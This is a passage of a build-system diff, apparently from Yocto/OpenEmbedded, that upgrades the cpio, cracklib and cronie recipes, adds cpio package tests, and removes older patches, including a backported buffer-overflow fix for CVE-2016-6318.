69PROVIDES_append_class-native = " bzip2-replacement-native" 69PROVIDES:append:class-native = " bzip2-replacement-native"
70BBCLASSEXTEND = "native nativesdk" 70BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/cpio/cpio-2.13/0001-Unset-need_charset_alias-when-building-for-musl.patch b/meta/recipes-extended/cpio/cpio-2.13/0001-Unset-need_charset_alias-when-building-for-musl.patch
deleted file mode 100644
index 6ae213942c..0000000000
--- a/meta/recipes-extended/cpio/cpio-2.13/0001-Unset-need_charset_alias-when-building-for-musl.patch
+++ /dev/null
@@ -1,30 +0,0 @@
1From b9565dc2fe0c4f7daaec91b7e83bc7313dee2f4a Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Mon, 13 Apr 2015 17:02:13 -0700
4Subject: [PATCH] Unset need_charset_alias when building for musl
5
6localcharset uses ac_cv_gnu_library_2_1 from glibc21.m4
7which actually shoudl be fixed in gnulib and then all downstream
8projects will get it eventually. For now we apply the fix to
9coreutils
10
11Upstream-Status: Pending
12
13Signed-off-by: Khem Raj <raj.khem@gmail.com>
14---
15 lib/gnulib.mk | 2 +-
16 1 file changed, 1 insertion(+), 1 deletion(-)
17
18Index: cpio-2.11/gnu/Makefile.am
19===================================================================
20--- cpio-2.11.orig/gnu/Makefile.am
21+++ cpio-2.11/gnu/Makefile.am
22@@ -734,7 +734,7 @@ install-exec-localcharset: all-local
23 case '$(host_os)' in \
24 darwin[56]*) \
25 need_charset_alias=true ;; \
26- darwin* | cygwin* | mingw* | pw32* | cegcc*) \
27+ darwin* | cygwin* | mingw* | pw32* | cegcc* | linux-musl*) \
28 need_charset_alias=false ;; \
29 *) \
30 need_charset_alias=true ;; \
diff --git a/meta/recipes-extended/cpio/cpio-2.13/0002-src-global.c-Remove-superfluous-declaration-of-progr.patch b/meta/recipes-extended/cpio/cpio-2.13/0002-src-global.c-Remove-superfluous-declaration-of-progr.patch
deleted file mode 100644
index 478324c1c4..0000000000
--- a/meta/recipes-extended/cpio/cpio-2.13/0002-src-global.c-Remove-superfluous-declaration-of-progr.patch
+++ /dev/null
@@ -1,28 +0,0 @@
1From 33e6cb5a28fab3d99bd6818f8c01e6f33805390f Mon Sep 17 00:00:00 2001
2From: Sergey Poznyakoff <gray@gnu.org>
3Date: Mon, 20 Jan 2020 07:45:39 +0200
4Subject: [PATCH] src/global.c: Remove superfluous declaration of program_name
5
6Upstream-Status: Backport (commit 641d3f4)
7Signed-off-by: Richard Leitner <richard.leitner@skidata.com>
8---
9 src/global.c | 3 ---
10 1 file changed, 3 deletions(-)
11
12diff --git a/src/global.c b/src/global.c
13index fb3abe9..acf92bc 100644
14--- a/src/global.c
15+++ b/src/global.c
16@@ -184,9 +184,6 @@ unsigned int warn_option = 0;
17 /* Extract to standard output? */
18 bool to_stdout_option = false;
19
20-/* The name this program was run with. */
21-char *program_name;
22-
23 /* A pointer to either lstat or stat, depending on whether
24 dereferencing of symlinks is done for input files. */
25 int (*xstat) ();
26--
272.26.2
28
diff --git a/meta/recipes-extended/cpio/cpio_2.13.bb b/meta/recipes-extended/cpio/cpio_2.13.bb
deleted file mode 100644
index 94d86100c7..0000000000
--- a/meta/recipes-extended/cpio/cpio_2.13.bb
+++ /dev/null
@@ -1,51 +0,0 @@
1SUMMARY = "GNU cpio is a program to manage archives of files"
2DESCRIPTION = "GNU cpio is a tool for creating and extracting archives, or copying files from one place to \
3another. It handles a number of cpio formats as well as reading and writing tar files."
4HOMEPAGE = "http://www.gnu.org/software/cpio/"
5SECTION = "base"
6LICENSE = "GPLv3"
7LIC_FILES_CHKSUM = "file://COPYING;md5=f27defe1e96c2e1ecd4e0c9be8967949"
8
9SRC_URI = "${GNU_MIRROR}/cpio/cpio-${PV}.tar.gz \
10 file://0001-Unset-need_charset_alias-when-building-for-musl.patch \
11 file://0002-src-global.c-Remove-superfluous-declaration-of-progr.patch \
12 "
13
14SRC_URI[md5sum] = "389c5452d667c23b5eceb206f5000810"
15SRC_URI[sha256sum] = "e87470d9c984317f658567c03bfefb6b0c829ff17dbf6b0de48d71a4c8f3db88"
16
17inherit autotools gettext texinfo
18
19EXTRA_OECONF += "DEFAULT_RMT_DIR=${sbindir}"
20
21do_install () {
22 autotools_do_install
23 if [ "${base_bindir}" != "${bindir}" ]; then
24 install -d ${D}${base_bindir}/
25 mv "${D}${bindir}/cpio" "${D}${base_bindir}/cpio"
26 if [ "${sbindir}" != "${bindir}" ]; then
27 rmdir ${D}${bindir}/
28 fi
29 fi
30
31 # Avoid conflicts with the version from tar
32 mv "${D}${mandir}/man8/rmt.8" "${D}${mandir}/man8/rmt-cpio.8"
33}
34
35PACKAGES =+ "${PN}-rmt"
36
37FILES_${PN}-rmt = "${sbindir}/rmt*"
38
39inherit update-alternatives
40
41ALTERNATIVE_PRIORITY = "100"
42
43ALTERNATIVE_${PN} = "cpio"
44ALTERNATIVE_${PN}-rmt = "rmt"
45
46ALTERNATIVE_LINK_NAME[cpio] = "${base_bindir}/cpio"
47
48ALTERNATIVE_PRIORITY[rmt] = "50"
49ALTERNATIVE_LINK_NAME[rmt] = "${sbindir}/rmt"
50
51BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/cpio/cpio_2.15.bb b/meta/recipes-extended/cpio/cpio_2.15.bb
new file mode 100644
index 0000000000..52070f59a2
--- /dev/null
+++ b/meta/recipes-extended/cpio/cpio_2.15.bb
@@ -0,0 +1,87 @@
1SUMMARY = "GNU cpio is a program to manage archives of files"
2DESCRIPTION = "GNU cpio is a tool for creating and extracting archives, or copying files from one place to \
3another. It handles a number of cpio formats as well as reading and writing tar files."
4HOMEPAGE = "http://www.gnu.org/software/cpio/"
5SECTION = "base"
6LICENSE = "GPL-3.0-only"
7LIC_FILES_CHKSUM = "file://COPYING;md5=f27defe1e96c2e1ecd4e0c9be8967949"
8
9SRC_URI = "${GNU_MIRROR}/cpio/cpio-${PV}.tar.gz \
10 file://run-ptest \
11 file://test.sh \
12 "
13
14SRC_URI[sha256sum] = "efa50ef983137eefc0a02fdb51509d624b5e3295c980aa127ceee4183455499e"
15
16inherit autotools gettext texinfo ptest
17
18CVE_STATUS[CVE-2010-4226] = "not-applicable-platform: Issue applies to use of cpio in SUSE/OBS"
19
20EXTRA_OECONF += "DEFAULT_RMT_DIR=${sbindir}"
21
22do_install () {
23 autotools_do_install
24 if [ "${base_bindir}" != "${bindir}" ]; then
25 install -d ${D}${base_bindir}/
26 mv "${D}${bindir}/cpio" "${D}${base_bindir}/cpio"
27 if [ "${sbindir}" != "${bindir}" ]; then
28 rmdir ${D}${bindir}/
29 fi
30 fi
31
32 # Avoid conflicts with the version from tar
33 mv "${D}${mandir}/man8/rmt.8" "${D}${mandir}/man8/rmt-cpio.8"
34}
35
36do_compile_ptest() {
37 oe_runmake -C ${B}/gnu/ check
38 oe_runmake -C ${B}/lib/ check
39 oe_runmake -C ${B}/rmt/ check
40 oe_runmake -C ${B}/src/ check
41 oe_runmake -C ${B}/tests/ genfile
42}
43
44do_install_ptest() {
45 install -d ${D}${PTEST_PATH}/tests/
46 sed -i "/abs_/d" ${B}/tests/atconfig
47 install --mode=755 ${B}/tests/atconfig ${D}${PTEST_PATH}/tests/
48 sed -i "s%${B}/tests:%%g" ${B}/tests/atlocal
49 sed -i "s%${B}/src:%%g" ${B}/tests/atlocal
50 install --mode=755 ${B}/tests/atlocal ${D}${PTEST_PATH}/tests/
51 install --mode=755 ${B}/tests/genfile ${D}${PTEST_PATH}/tests/
52 install --mode=755 ${S}/tests/testsuite ${D}${PTEST_PATH}/tests/
53 install --mode=755 ${WORKDIR}/test.sh ${D}${PTEST_PATH}/test.sh
54 sed -i "s#@PTEST_PATH@#${PTEST_PATH}#g" ${D}${PTEST_PATH}/test.sh
55}
56
57# ptest.bbclass currently chowns the ptest directory explicitly, so we need to
58# change permission after that has happened so the ptest user can write a
59# temporary directory.
60do_install_ptest_base:append() {
61 chgrp -R ptest ${D}${PTEST_PATH}/
62 chmod -R g+w ${D}${PTEST_PATH}/
63}
64
65# The tests need to run as a non-root user, so pull in the ptest user
66DEPENDS:append:class-target = "${@bb.utils.contains('PTEST_ENABLED', '1', ' ptest-runner', '', d)}"
67PACKAGE_WRITE_DEPS += "ptest-runner"
68
69RDEPENDS:${PN}-ptest += "ptest-runner"
70
71PACKAGES =+ "${PN}-rmt"
72
73FILES:${PN}-rmt = "${sbindir}/rmt*"
74
75inherit update-alternatives
76
77ALTERNATIVE_PRIORITY = "100"
78
79ALTERNATIVE:${PN} = "cpio"
80ALTERNATIVE:${PN}-rmt = "rmt"
81
82ALTERNATIVE_LINK_NAME[cpio] = "${base_bindir}/cpio"
83
84ALTERNATIVE_PRIORITY[rmt] = "50"
85ALTERNATIVE_LINK_NAME[rmt] = "${sbindir}/rmt"
86
87BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/cpio/files/run-ptest b/meta/recipes-extended/cpio/files/run-ptest
new file mode 100755
index 0000000000..f35a756d6b
--- /dev/null
+++ b/meta/recipes-extended/cpio/files/run-ptest
@@ -0,0 +1,3 @@
1#!/bin/sh
2
3su -c ./test.sh ptest
diff --git a/meta/recipes-extended/cpio/files/test.sh b/meta/recipes-extended/cpio/files/test.sh
new file mode 100644
index 0000000000..f027574e86
--- /dev/null
+++ b/meta/recipes-extended/cpio/files/test.sh
@@ -0,0 +1,10 @@
1#!/bin/sh
2
3# Define cpio test work dir
4WORKDIR=@PTEST_PATH@/tests/
5
6# Run test
7cd ${WORKDIR}
8./atconfig ./atlocal ./testsuite
9
10./testsuite 2>&1 | grep -E '[0-9]{1,3}: ' | sed -e 's/^.....//' -e '/[ok]$/s/^/PASS: /;/FAILED (.*)/s/^/FAIL: /;/skipped (.*)/s/^/SKIP: /;/expected failure/ s/^/PASS: /;/UNEXPECTED PASS/s/^/FAIL: /' -e 's/ok$//g' -e 's/FAILED.*//g' -e 's/skipped.*//g' -e 's/expected failure.*//g' -e 's/UNEXPECTED PASS.*//g'
diff --git a/meta/recipes-extended/cracklib/cracklib/0001-Apply-patch-to-fix-CVE-2016-6318.patch b/meta/recipes-extended/cracklib/cracklib/0001-Apply-patch-to-fix-CVE-2016-6318.patch
deleted file mode 100644
index b251ac9056..0000000000
--- a/meta/recipes-extended/cracklib/cracklib/0001-Apply-patch-to-fix-CVE-2016-6318.patch
+++ /dev/null
@@ -1,105 +0,0 @@
1From 47e5dec521ab6243c9b249dd65b93d232d90d6b1 Mon Sep 17 00:00:00 2001
2From: Jan Dittberner <jan@dittberner.info>
3Date: Thu, 25 Aug 2016 17:13:49 +0200
4Subject: [PATCH] Apply patch to fix CVE-2016-6318
5
6This patch fixes an issue with a stack-based buffer overflow when
7parsing large GECOS field. See
8https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6318 and
9https://security-tracker.debian.org/tracker/CVE-2016-6318 for more
10information.
11
12Upstream-Status: Backport [https://github.com/cracklib/cracklib/commit/47e5dec521ab6243c9b249dd65b93d232d90d6b1]
13CVE: CVE-2016-6318
14Signed-off-by: Dengke Du <dengke.du@windriver.com>
15---
16 lib/fascist.c | 57 ++++++++++++++++++++++++++++++++-----------------------
17 1 file changed, 33 insertions(+), 24 deletions(-)
18
19diff --git a/lib/fascist.c b/lib/fascist.c
20index a996509..d4deb15 100644
21--- a/lib/fascist.c
22+++ b/lib/fascist.c
23@@ -502,7 +502,7 @@ FascistGecosUser(char *password, const char *user, const char *gecos)
24 char gbuffer[STRINGSIZE];
25 char tbuffer[STRINGSIZE];
26 char *uwords[STRINGSIZE];
27- char longbuffer[STRINGSIZE * 2];
28+ char longbuffer[STRINGSIZE];
29
30 if (gecos == NULL)
31 gecos = "";
32@@ -583,38 +583,47 @@ FascistGecosUser(char *password, const char *user, const char *gecos)
33 {
34 for (i = 0; i < j; i++)
35 {
36- strcpy(longbuffer, uwords[i]);
37- strcat(longbuffer, uwords[j]);
38-
39- if (GTry(longbuffer, password))
40+ if (strlen(uwords[i]) + strlen(uwords[j]) < STRINGSIZE)
41 {
42- return _("it is derived from your password entry");
43- }
44+ strcpy(longbuffer, uwords[i]);
45+ strcat(longbuffer, uwords[j]);
46
47- strcpy(longbuffer, uwords[j]);
48- strcat(longbuffer, uwords[i]);
49+ if (GTry(longbuffer, password))
50+ {
51+ return _("it is derived from your password entry");
52+ }
53
54- if (GTry(longbuffer, password))
55- {
56- return _("it's derived from your password entry");
57- }
58+ strcpy(longbuffer, uwords[j]);
59+ strcat(longbuffer, uwords[i]);
60
61- longbuffer[0] = uwords[i][0];
62- longbuffer[1] = '\0';
63- strcat(longbuffer, uwords[j]);
64+ if (GTry(longbuffer, password))
65+ {
66+ return _("it's derived from your password entry");
67+ }
68+ }
69
70- if (GTry(longbuffer, password))
71+ if (strlen(uwords[j]) < STRINGSIZE - 1)
72 {
73- return _("it is derivable from your password entry");
74+ longbuffer[0] = uwords[i][0];
75+ longbuffer[1] = '\0';
76+ strcat(longbuffer, uwords[j]);
77+
78+ if (GTry(longbuffer, password))
79+ {
80+ return _("it is derivable from your password entry");
81+ }
82 }
83
84- longbuffer[0] = uwords[j][0];
85- longbuffer[1] = '\0';
86- strcat(longbuffer, uwords[i]);
87-
88- if (GTry(longbuffer, password))
89+ if (strlen(uwords[i]) < STRINGSIZE - 1)
90 {
91- return _("it's derivable from your password entry");
92+ longbuffer[0] = uwords[j][0];
93+ longbuffer[1] = '\0';
94+ strcat(longbuffer, uwords[i]);
95+
96+ if (GTry(longbuffer, password))
97+ {
98+ return _("it's derivable from your password entry");
99+ }
100 }
101 }
102 }
103--
1042.8.1
105
diff --git a/meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch b/meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch
index adbe7dfff4..20572b55c4 100644
--- a/meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch
+++ b/meta/recipes-extended/cracklib/cracklib/0001-packlib.c-support-dictionary-byte-order-dependent.patch
@@ -1,7 +1,7 @@
1From 8a6e43726ad0ae41bd1cc2c248d91deb31459357 Mon Sep 17 00:00:00 2001 1From aae03b7e626d5f62ab929d51d11352a5a2ff6b2d Mon Sep 17 00:00:00 2001
2From: Lei Maohui <leimaohui@cn.fujitsu.com> 2From: Lei Maohui <leimaohui@cn.fujitsu.com>
3Date: Tue, 9 Jun 2015 11:11:48 +0900 3Date: Tue, 9 Jun 2015 11:11:48 +0900
4Subject: [PATCH] packlib.c: support dictionary byte order dependent 4Subject: [PATCH 1/2] packlib.c: support dictionary byte order dependent
5 5
6The previous dict files are NOT byte-order independent, in fact they are 6The previous dict files are NOT byte-order independent, in fact they are
7probably ARCHITECTURE SPECIFIC. 7probably ARCHITECTURE SPECIFIC.
@@ -9,7 +9,7 @@ Create the dict files in big endian, and convert to host endian while
9load them. This could fix the endian issue on multiple platform. 9load them. This could fix the endian issue on multiple platform.
10 10
11Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com> 11Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
12Upstream-Status: Pending 12Upstream-Status: Submitted [https://github.com/cracklib/cracklib/pull/41]
13 13
14We can't use the endian.h, htobe* and be*toh functions because they are 14We can't use the endian.h, htobe* and be*toh functions because they are
15not available on older versions of glibc, such as that found in RHEL 15not available on older versions of glibc, such as that found in RHEL
@@ -22,11 +22,11 @@ Signed-off-by: Mark Hatle <mark.hatle@windriver.com>
22 22
23Signed-off-by: Lei Maohui <leimaohui@cn.fujitsu.com> 23Signed-off-by: Lei Maohui <leimaohui@cn.fujitsu.com>
24--- 24---
25 lib/packlib.c | 214 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++-- 25 lib/packlib.c | 214 +++++++++++++++++++++++++++++++++++++++++++++-
26 1 file changed, 210 insertions(+), 4 deletions(-) 26 1 file changed, 210 insertions(+), 4 deletions(-)
27 27
28diff --git a/lib/packlib.c b/lib/packlib.c 28diff --git a/lib/packlib.c b/lib/packlib.c
29index f851424..3aac805 100644 29index 9396e1d..d0bb181 100644
30--- a/lib/packlib.c 30--- a/lib/packlib.c
31+++ b/lib/packlib.c 31+++ b/lib/packlib.c
32@@ -16,6 +16,12 @@ 32@@ -16,6 +16,12 @@
@@ -41,8 +41,8 @@ index f851424..3aac805 100644
41+#include <byteswap.h> 41+#include <byteswap.h>
42 #include "packer.h" 42 #include "packer.h"
43 43
44 static const char vers_id[] = "packlib.c : v2.3p2 Alec Muffett 18 May 1993"; 44 #define DEBUG 0
45@@ -45,6 +51,185 @@ typedef struct 45@@ -43,6 +49,185 @@ typedef struct
46 char data_get[NUMWORDS][MAXWORDLEN]; 46 char data_get[NUMWORDS][MAXWORDLEN];
47 } PWDICT64; 47 } PWDICT64;
48 48
@@ -228,7 +228,7 @@ index f851424..3aac805 100644
228 228
229 static int 229 static int
230 _PWIsBroken64(FILE *ifp) 230 _PWIsBroken64(FILE *ifp)
231@@ -57,6 +242,7 @@ _PWIsBroken64(FILE *ifp) 231@@ -55,6 +240,7 @@ _PWIsBroken64(FILE *ifp)
232 return 0; 232 return 0;
233 } 233 }
234 234
@@ -236,7 +236,7 @@ index f851424..3aac805 100644
236 return (pdesc64.header.pih_magic == PIH_MAGIC); 236 return (pdesc64.header.pih_magic == PIH_MAGIC);
237 } 237 }
238 238
239@@ -149,7 +335,11 @@ PWOpen(prefix, mode) 239@@ -147,7 +333,11 @@ PWOpen(prefix, mode)
240 pdesc.header.pih_blocklen = NUMWORDS; 240 pdesc.header.pih_blocklen = NUMWORDS;
241 pdesc.header.pih_numwords = 0; 241 pdesc.header.pih_numwords = 0;
242 242
@@ -249,7 +249,7 @@ index f851424..3aac805 100644
249 } else 249 } else
250 { 250 {
251 pdesc.flags &= ~PFOR_WRITE; 251 pdesc.flags &= ~PFOR_WRITE;
252@@ -173,6 +363,7 @@ PWOpen(prefix, mode) 252@@ -171,6 +361,7 @@ PWOpen(prefix, mode)
253 return NULL; 253 return NULL;
254 } 254 }
255 255
@@ -257,7 +257,7 @@ index f851424..3aac805 100644
257 if ((pdesc.header.pih_magic == 0) || (pdesc.header.pih_numwords == 0)) 257 if ((pdesc.header.pih_magic == 0) || (pdesc.header.pih_numwords == 0))
258 { 258 {
259 /* uh-oh. either a broken "64-bit" file or a garbage file. */ 259 /* uh-oh. either a broken "64-bit" file or a garbage file. */
260@@ -195,6 +386,7 @@ PWOpen(prefix, mode) 260@@ -193,6 +384,7 @@ PWOpen(prefix, mode)
261 } 261 }
262 return NULL; 262 return NULL;
263 } 263 }
@@ -265,7 +265,7 @@ index f851424..3aac805 100644
265 if (pdesc64.header.pih_magic != PIH_MAGIC) 265 if (pdesc64.header.pih_magic != PIH_MAGIC)
266 { 266 {
267 /* nope, not "64-bit" after all */ 267 /* nope, not "64-bit" after all */
268@@ -290,6 +482,7 @@ PWOpen(prefix, mode) 268@@ -288,6 +480,7 @@ PWOpen(prefix, mode)
269 { 269 {
270 pdesc.flags &= ~PFOR_USEHWMS; 270 pdesc.flags &= ~PFOR_USEHWMS;
271 } 271 }
@@ -273,7 +273,7 @@ index f851424..3aac805 100644
273 for (i = 0; i < sizeof(pdesc.hwms) / sizeof(pdesc.hwms[0]); i++) 273 for (i = 0; i < sizeof(pdesc.hwms) / sizeof(pdesc.hwms[0]); i++)
274 { 274 {
275 pdesc.hwms[i] = pdesc64.hwms[i]; 275 pdesc.hwms[i] = pdesc64.hwms[i];
276@@ -299,6 +492,7 @@ PWOpen(prefix, mode) 276@@ -297,6 +490,7 @@ PWOpen(prefix, mode)
277 { 277 {
278 pdesc.flags &= ~PFOR_USEHWMS; 278 pdesc.flags &= ~PFOR_USEHWMS;
279 } 279 }
@@ -281,7 +281,7 @@ index f851424..3aac805 100644
281 #if DEBUG 281 #if DEBUG
282 for (i=1; i<=0xff; i++) 282 for (i=1; i<=0xff; i++)
283 { 283 {
284@@ -332,7 +526,11 @@ PWClose(pwp) 284@@ -330,7 +524,11 @@ PWClose(pwp)
285 return (-1); 285 return (-1);
286 } 286 }
287 287
@@ -294,7 +294,7 @@ index f851424..3aac805 100644
294 { 294 {
295 fprintf(stderr, "index magic fwrite failed\n"); 295 fprintf(stderr, "index magic fwrite failed\n");
296 return (-1); 296 return (-1);
297@@ -351,7 +549,12 @@ PWClose(pwp) 297@@ -349,7 +547,12 @@ PWClose(pwp)
298 printf("hwm[%02x] = %d\n", i, pwp->hwms[i]); 298 printf("hwm[%02x] = %d\n", i, pwp->hwms[i]);
299 #endif 299 #endif
300 } 300 }
@@ -308,7 +308,7 @@ index f851424..3aac805 100644
308 } 308 }
309 } 309 }
310 310
311@@ -405,7 +608,8 @@ PutPW(pwp, string) 311@@ -403,7 +606,8 @@ PutPW(pwp, string)
312 312
313 datum = (uint32_t) ftell(pwp->dfp); 313 datum = (uint32_t) ftell(pwp->dfp);
314 314
@@ -317,8 +317,8 @@ index f851424..3aac805 100644
317+ fwrite((char *) &tmpdatum, sizeof(tmpdatum), 1, pwp->ifp); 317+ fwrite((char *) &tmpdatum, sizeof(tmpdatum), 1, pwp->ifp);
318 318
319 fputs(pwp->data_put[0], pwp->dfp); 319 fputs(pwp->data_put[0], pwp->dfp);
320 putc(0, pwp->dfp); 320 putc(0, (FILE*) pwp->dfp);
321@@ -464,6 +668,7 @@ GetPW(pwp, number) 321@@ -462,6 +666,7 @@ GetPW(pwp, number)
322 perror("(index fread failed)"); 322 perror("(index fread failed)");
323 return NULL; 323 return NULL;
324 } 324 }
@@ -326,7 +326,7 @@ index f851424..3aac805 100644
326 datum = datum64; 326 datum = datum64;
327 } else { 327 } else {
328 if (fseek(pwp->ifp, sizeof(struct pi_header) + (thisblock * sizeof(uint32_t)), 0)) 328 if (fseek(pwp->ifp, sizeof(struct pi_header) + (thisblock * sizeof(uint32_t)), 0))
329@@ -477,6 +682,7 @@ GetPW(pwp, number) 329@@ -475,6 +680,7 @@ GetPW(pwp, number)
330 perror("(index fread failed)"); 330 perror("(index fread failed)");
331 return NULL; 331 return NULL;
332 } 332 }
@@ -335,5 +335,5 @@ index f851424..3aac805 100644
335 335
336 int r = 1; 336 int r = 1;
337-- 337--
3381.8.4.2 3382.20.1
339 339
diff --git a/meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch b/meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch
deleted file mode 100644
index 6210e82121..0000000000
--- a/meta/recipes-extended/cracklib/cracklib/0002-craklib-fix-testnum-and-teststr-failed.patch
+++ /dev/null
@@ -1,53 +0,0 @@
1From 06f9a88b5dd5597f9198ea0cb34f5e96f180e6e3 Mon Sep 17 00:00:00 2001
2From: Hongxu Jia <hongxu.jia@windriver.com>
3Date: Sat, 27 Apr 2013 16:02:30 +0800
4Subject: [PATCH] craklib:fix testnum and teststr failed
5
6Error log:
7...
8$ ./testnum
9(null).pwd.gz: No such file or directory
10PWOpen: No such file or directory
11
12$ ./util/teststr
13(null).pwd.gz: No such file or directory
14PWOpen: No such file or directory
15...
16Set DEFAULT_CRACKLIB_DICT as the path of PWOpen
17
18Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
19Upstream-Status: Pending
20---
21 util/testnum.c | 2 +-
22 util/teststr.c | 2 +-
23 2 files changed, 2 insertions(+), 2 deletions(-)
24
25diff --git a/util/testnum.c b/util/testnum.c
26index ae2246d..ca210ff 100644
27--- a/util/testnum.c
28+++ b/util/testnum.c
29@@ -20,7 +20,7 @@ main ()
30 PWDICT *pwp;
31 char buffer[STRINGSIZE];
32
33- if (!(pwp = PWOpen (NULL, "r")))
34+ if (!(pwp = PWOpen (DEFAULT_CRACKLIB_DICT, "r")))
35 {
36 perror ("PWOpen");
37 return (-1);
38diff --git a/util/teststr.c b/util/teststr.c
39index 2a31fa4..9fb9cda 100644
40--- a/util/teststr.c
41+++ b/util/teststr.c
42@@ -15,7 +15,7 @@ main ()
43 PWDICT *pwp;
44 char buffer[STRINGSIZE];
45
46- if (!(pwp = PWOpen (NULL, "r")))
47+ if (!(pwp = PWOpen (DEFAULT_CRACKLIB_DICT, "r")))
48 {
49 perror ("PWOpen");
50 return (-1);
51--
521.7.10.4
53
diff --git a/meta/recipes-extended/cracklib/cracklib_2.9.11.bb b/meta/recipes-extended/cracklib/cracklib_2.9.11.bb
new file mode 100644
index 0000000000..34ef2b65a1
--- /dev/null
+++ b/meta/recipes-extended/cracklib/cracklib_2.9.11.bb
@@ -0,0 +1,33 @@
1SUMMARY = "Password strength checker library"
2HOMEPAGE = "https://github.com/cracklib/cracklib"
3DESCRIPTION = "${SUMMARY}"
4
5LICENSE = "LGPL-2.1-or-later"
6LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=e3eda01d9815f8d24aae2dbd89b68b06"
7
8DEPENDS = "cracklib-native zlib"
9
10EXTRA_OECONF = "--without-python --libdir=${base_libdir}"
11
12SRC_URI = "git://github.com/cracklib/cracklib;protocol=https;branch=main \
13 file://0001-packlib.c-support-dictionary-byte-order-dependent.patch \
14 "
15
16SRCREV = "4cf5125250c6325ef0a2dc085eabff875227edc3"
17S = "${WORKDIR}/git/src"
18
19inherit autotools gettext
20
21# This is custom stuff from upstream's autogen.sh
22do_configure:prepend() {
23 mkdir -p ${S}/m4
24 echo EXTRA_DIST = *.m4 > ${S}/m4/Makefile.am
25 touch ${S}/ABOUT-NLS
26}
27
28do_install:append:class-target() {
29 create-cracklib-dict -o ${D}${datadir}/cracklib/pw_dict ${D}${datadir}/cracklib/cracklib-small
30}
31
32BBCLASSEXTEND = "native nativesdk"
33
diff --git a/meta/recipes-extended/cracklib/cracklib_2.9.5.bb b/meta/recipes-extended/cracklib/cracklib_2.9.5.bb
deleted file mode 100644
index 82995219dc..0000000000
--- a/meta/recipes-extended/cracklib/cracklib_2.9.5.bb
+++ /dev/null
@@ -1,29 +0,0 @@
1SUMMARY = "Password strength checker library"
2HOMEPAGE = "http://sourceforge.net/projects/cracklib"
3
4LICENSE = "LGPLv2.1+"
5LIC_FILES_CHKSUM = "file://COPYING.LIB;md5=e3eda01d9815f8d24aae2dbd89b68b06"
6
7DEPENDS = "cracklib-native zlib"
8
9EXTRA_OECONF = "--without-python --libdir=${base_libdir}"
10
11SRC_URI = "${SOURCEFORGE_MIRROR}/cracklib/cracklib-${PV}.tar.gz \
12 file://0001-packlib.c-support-dictionary-byte-order-dependent.patch \
13 file://0001-Apply-patch-to-fix-CVE-2016-6318.patch \
14 file://0002-craklib-fix-testnum-and-teststr-failed.patch"
15
16SRC_URI[md5sum] = "376790a95c1fb645e59e6e9803c78582"
17SRC_URI[sha256sum] = "59ab0138bc8cf90cccb8509b6969a024d5e58d2d02bcbdccbb9ba9b88be3fa33"
18
19UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/cracklib/files/cracklib/"
20UPSTREAM_CHECK_REGEX = "/cracklib/(?P<pver>(\d+[\.\-_]*)+)/"
21
22inherit autotools gettext
23
24do_install_append_class-target() {
25 create-cracklib-dict -o ${D}${datadir}/cracklib/pw_dict ${D}${datadir}/cracklib/cracklib-small
26}
27
28BBCLASSEXTEND = "native nativesdk"
29
diff --git a/meta/recipes-extended/cronie/cronie/crond_pam_config.patch b/meta/recipes-extended/cronie/cronie/crond_pam_config.patch
index c374790d1d..464d1470e3 100644
--- a/meta/recipes-extended/cronie/cronie/crond_pam_config.patch
+++ b/meta/recipes-extended/cronie/cronie/crond_pam_config.patch
@@ -1,9 +1,19 @@
1From f5b325cba73018e5be984570fd4e680e59e7865d Mon Sep 17 00:00:00 2001
2From: Wenzong Fan <wenzong.fan@windriver.com>
3Date: Wed, 20 Jul 2011 02:42:28 +0000
4Subject: [PATCH] cronie: enable PAM support for cronie
5
1password-auth is the Fedora's common pam configure file, use oe common pam 6password-auth is the Fedora's common pam configure file, use oe common pam
2configure files instead. 7configure files instead.
3 8
4Upstream-Status: Pending 9Upstream-Status: Pending
5 10
6Signed-off-by: Wenzong Fan <wenzong.fan@windriver.com> 11Signed-off-by: Wenzong Fan <wenzong.fan@windriver.com>
12
13---
14 pam/crond | 6 +++---
15 1 file changed, 3 insertions(+), 3 deletions(-)
16
7diff --git a/pam/crond b/pam/crond 17diff --git a/pam/crond b/pam/crond
8index 560529d..95a6457 100644 18index 560529d..95a6457 100644
9--- a/pam/crond 19--- a/pam/crond
diff --git a/meta/recipes-extended/cronie/cronie_1.5.5.bb b/meta/recipes-extended/cronie/cronie_1.7.2.bb
index 0def4a187d..abdaff644d 100644
--- a/meta/recipes-extended/cronie/cronie_1.5.5.bb
+++ b/meta/recipes-extended/cronie/cronie_1.7.2.bb
@@ -7,16 +7,16 @@ HOMEPAGE = "https://github.com/cronie-crond/cronie/"
7BUGTRACKER = "https://bugzilla.redhat.com" 7BUGTRACKER = "https://bugzilla.redhat.com"
8 8
9# Internet Systems Consortium License 9# Internet Systems Consortium License
10LICENSE = "ISC & BSD-3-Clause & BSD-2-Clause & GPLv2+" 10LICENSE = "ISC & BSD-3-Clause & BSD-2-Clause & GPL-2.0-or-later"
11LIC_FILES_CHKSUM = "file://COPYING;md5=dd2a592170760e1386c769e1043b3722 \ 11LIC_FILES_CHKSUM = "file://COPYING;md5=dd2a592170760e1386c769e1043b3722 \
12 file://src/cron.c;endline=20;md5=b425c334265026177128353a142633b4 \ 12 file://src/cron.c;endline=20;md5=b425c334265026177128353a142633b4 \
13 file://src/popen.c;beginline=3;endline=31;md5=edd50742d8def712e9472dba353668a9" 13 file://src/popen.c;beginline=3;endline=31;md5=edd50742d8def712e9472dba353668a9"
14 14
15SECTION = "utils" 15SECTION = "utils"
16 16
